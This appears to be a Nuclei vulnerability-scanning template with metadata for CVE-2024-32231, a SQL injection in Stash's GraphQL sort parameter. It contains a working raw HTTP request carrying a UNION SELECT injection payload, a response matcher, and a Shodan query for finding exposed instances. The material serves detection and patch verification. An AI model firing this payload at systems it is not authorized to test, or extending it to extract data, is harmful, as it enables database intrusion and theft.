CVE-2024-32231: Stash < 0.26.0 - SQL Injection
- Template: CVE-2024-32231
- Name: Stash < 0.26.0 - SQL Injection
- Description: Stash up to v0.25.1 was discovered to contain a SQL injection vulnerability via the sort parameter.
- Impact: Attackers can execute arbitrary SQL queries via the sort parameter, potentially extracting sensitive database information.
- Remediation: Update Stash to version 0.26.0 or later.
- Severity: critical
- Authors: iamnoooob, rootxharsh, pdresearch
- Tags: cve, cve2024, stash, sqli, vuln
- References: https://github.com/stashapp, https://github.com/stashapp/stash, https://github.com/stashapp/stash/pull/4865, https://github.com/advisories/GHSA-75jf-52jg-qqh4, https://nvd.nist.gov/vuln/detail/CVE-2024-32231
- Cves: CVE-2024-32231
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2024/CVE-2024-32231.yaml
- Digest: 4a0a0047304502210096a2749acce0ed04298a856ec199c7afd92e5f16c6da6ba6fcea953d1746824f0220608123aaa75e1a375283d09ccdfcbab885df7bd5526e15ab0cd8ad8e8a84af6a
- Created at: 2024-08-24T03:48:21Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 822
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-32231.yaml
- Checked, none or zero: products
Classification
- Epss score: 0.0117
- Epss percentile: 0.68212
- Checked, none or zero: cwe
- Not known: cvss score, cvss vector, cpe
Metadata
- Max-request: 1
- Shodan-query: html:"<title>Stash</title>"
- Verified: yes
Labels
- Name: Stash - SQL Injection
- Impact: Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
- Remediation: Update to the latest version of Stash that addresses this vulnerability.
- Vulnerability type: sql_injection
- Vulnerability impact: information_disclosure, data_tampering
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2024-32231
- Not known: requirements
```yaml
id: CVE-2024-32231
info:
name: Stash < 0.26.0 - SQL Injection
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
Stash up to v0.25.1 was discovered to contain a SQL injection vulnerability via the sort parameter.
impact: |
Attackers can execute arbitrary SQL queries via the sort parameter, potentially extracting sensitive database information.
remediation: |
Update Stash to version 0.26.0 or later.
reference:
- https://github.com/stashapp/stash
- https://github.com/stashapp/stash/pull/4865
- https://github.com/advisories/GHSA-75jf-52jg-qqh4
- https://nvd.nist.gov/vuln/detail/CVE-2024-32231
classification:
cve-id: CVE-2024-32231
epss-score: 0.0117
epss-percentile: 0.68212
metadata:
verified: true
max-request: 1
shodan-query: html:"<title>Stash</title>"
tags: cve,cve2024,stash,sqli,vuln
http:
- raw:
- |
POST /graphql HTTP/1.1
Host: {{Hostname}}
Content-type: application/json
{"operationName":"FindPerformers","variables":{"filter":{"q":"","page":1,"per_page":40,"sort":"name;select performers.id FROM performers union select group_concat(sqlite_version(),':')-- -","direction":"ASC"},"performer_filter":{}},"query":"query FindPerformers($filter: FindFilterType, $performer_filter: PerformerFilterType, $performer_ids: [Int!]) {\n findPerformers(\n filter: $filter\n performer_filter: $performer_filter\n performer_ids: $performer_ids\n ) {\n count\n performers {\n ...PerformerData\n __typename\n }\n __typename\n }\n}\n\nfragment PerformerData on Performer {\n id\n name\n disambiguation\n url\n gender\n twitter\n instagram\n birthdate\n ethnicity\n country\n eye_color\n height_cm\n measurements\n fake_tits\n penis_length\n circumcised\n career_length\n tattoos\n piercings\n alias_list\n favorite\n ignore_auto_tag\n image_path\n scene_count\n image_count\n gallery_count\n movie_count\n performer_count\n o_counter\n tags {\n ...SlimTagData\n __typename\n }\n stash_ids {\n stash_id\n endpoint\n __typename\n }\n rating100\n details\n death_date\n hair_color\n weight\n __typename\n}\n\nfragment SlimTagData on Tag {\n id\n name\n aliases\n image_path\n parent_count\n child_count\n __typename\n}"}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- 'converting driver\.Value type string \(\\"3.*?\\"\) to a int: invalid syntax'
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200
digest: 4a0a0047304502210096a2749acce0ed04298a856ec199c7afd92e5f16c6da6ba6fcea953d1746824f0220608123aaa75e1a375283d09ccdfcbab885df7bd5526e15ab0cd8ad8e8a84af6a:922c64590222798bb761d5b6d8e72950
```